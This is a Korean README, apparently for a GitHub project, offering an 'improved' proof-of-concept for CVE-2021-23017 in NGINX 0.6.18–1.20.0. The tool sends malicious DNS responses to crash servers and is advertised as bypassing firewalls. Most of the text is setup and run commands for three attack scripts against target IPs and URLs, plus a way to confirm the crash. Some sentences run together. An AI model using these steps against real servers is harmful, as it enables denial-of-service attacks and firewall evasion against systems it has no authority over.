
NGINX 서버(버전 0.6.18–1.20.0)의 취약점. 스크립트는 악의적인 DNS 응답을 전송하여 서비스 거부(DoS)를 유발하는 것을 목표로 하며, 방화벽을 우회하기 위한 개선 사항이 포함되어 있습니다.
NGINX 서버(버전 0.6.18~1.20.0)의 취약점입니다. 이 스크립트는 악의적인 DNS 응답을 전송하여 서비스 거부(DoS)를 유발하며, 방화벽을 우회하는 기능이 강화되었습니다. 이는 M507/CVE-2021-23017-PoC의 원본 PoC를 개선한 버전입니다.
경고: 시스템 소유자의 명시적인 서면 허가를 받은 경우에만 사용하십시오. 무단 테스트는 불법입니다.
sudo apt-get update
sudo apt-get install python3-scapy dnsmasq
pip3 install scapy requests
git clone https://github.com/6lj/EVIL-CVE-2021-23017-Update-2025.git
cd EVIL-CVE-2021-23017-Update-2025
dnsmasq를 설정합니다:
sudo nano /etc/dnsmasq.conf
address=/test.example.com/192.168.1.100
sudo systemctl start dnsmasq
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.test.com)을 전송하여 NGINX 서버를 충돌시킵니다.curl 및 dig를 사용하여 DNS 쿼리를 트리거하여 취약점을 악용합니다.poc1.2.3.py에서 병렬 프로세스를 사용하여 동시에 스니핑, DNS 전송, 쿼리 트리거를 수행합니다. 세 가지를 함께 실행해야 합니다.세 가지를 함께 실행하고 적절한 인수로 실행합니다(<target_ip>, <your_dns_server_ip>, <target_url>를 대체하세요).
poc.pypython3 poc.py --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
poc2.pypython3 poc2.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --count 50 --target_url http://<target_url>
poc3.py (권장)python3 poc3.py --target <target_ip> --dns_server <your_dns_server_ip> --iface eth0 --target_url http://<target_url>
python3 poc3.py --target 192.168.1.100 --dns_server 192.168.1.101 --iface eth0 --target_url http://192.168.1.100
서버 상태 확인:
curl -I http://<target_url>
502 Bad Gateway 또는 503 Service Unavailable은 서버 충돌을 나타냅니다.200 OK는 취약점이 없거나 방화벽이 차단하고 있음을 나타냅니다.DNS 트래픽 모니터링:
sudo wireshark -f "udp port 53"
고지 사항: 교육 목적으로만 사용하십시오. 저자는 오용에 대해 책임을 지지 않습니다.